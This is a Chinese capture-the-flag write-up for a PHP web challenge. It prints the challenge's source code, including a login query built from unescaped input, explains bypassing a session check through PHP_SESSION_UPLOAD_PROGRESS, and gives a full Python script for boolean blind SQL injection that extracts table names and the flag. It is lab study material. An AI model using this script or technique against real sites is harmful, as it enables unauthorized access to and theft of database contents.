1 解题流程

1.1 分析

此题参考文章：浅谈 SESSION_UPLOAD_PROGRESS 的利用

1. 访问正常来讲用ctf-wscan是能扫出source.zip文件的，且F12后提示了有source.zip，那我们就下载source.zip
   index.php

   	<?php
   	session_start();
   	foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
   	foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
   	foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
   	foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
   	
   	function filter($value){
   	    !is_string($value) AND die("Hacking attempt!");
   	    return addslashes($value);
   	}
   	
   	isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
   	isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
   	isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
   	?>
   

   login.php

   <?php
   	!isset($_SESSION) AND die("Direct access on this script is not allowed!");
   	include 'db.php';
   	
   	$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
   	$result = $con->query($sql);
   	
   	function auth($user){
   	    $_SESSION['username'] = $user;
   	    return True;
   	}
   	
   	($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
   ?>
   

   register.php

   <?php
   	!isset($_SESSION) AND die("Direct access on this script is not allowed!");
   	include 'db.php';
   	
   	(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
   	
   	$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
   	($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
   ?>
   

2. 简单的分析一下：
   1、index.php中，开启了session，我们通过任何方式的传参都会经过过滤函数
   　　过滤函数：参数值必须是字符串，其次是通过addslashes函数过滤
   2、login.php，存在sql语句，并写了数据库是ptbctf，密码通过MD5的形式校验
   3、register.php，用户名不允许是admin，且长度要6<=length<=10
   4、看到addslashes函数让我想到了sprintf格式化漏洞和宽字节漏洞，但由于没有sprintf所以第一个情况排除，我自己尝试了第二个情况发现也不行。所以我们考虑其他方法
   5、在主页进行login会被过滤，那么我们直接去templates/login.php呢？没错，这里我们能直接注入，但是最关键的就是一旦没有session，就不让正常访问该php
   　　所以这里就涉及到了 SESSION_UPLOAD_PROGRESS
   　　我们可以利用PHP_SESSION_UPLOAD_PROGRESS在目标服务器上初始化一个session，然后便可以绕过index.php中的检测
3. session是如何生成的？PHP_SESSION_UPLOAD_PROGRESS怎么利用？【下面简单讲，开头引用的文章是很详细的】
   假设我们通过配置文件分析：
   1、已知session文件存储在session.save_path中
   2、session.upload_progress.enabled 选项开启时，同时POST一个session.upload_progress.name同名变量，PHP检测到时，Session文件将会自动创建，我们访问网站就会附带sessoin值，以此绕过login.php的session校验

1.2 解题

脚本如下：

import io
import requests

url = 'http://node4.anna.nssctf.cn:28440/templates/login.php'
flag = ''

f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}

for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid)
       payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid)
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "473"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       #print(res.text)
       if 'meta' in res.text:      # 为真时，即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

2 思考总结

哎哟不错哦~
通过此题，我对SESSION_UPLOAD_PROGRESS利用的理解更深入了。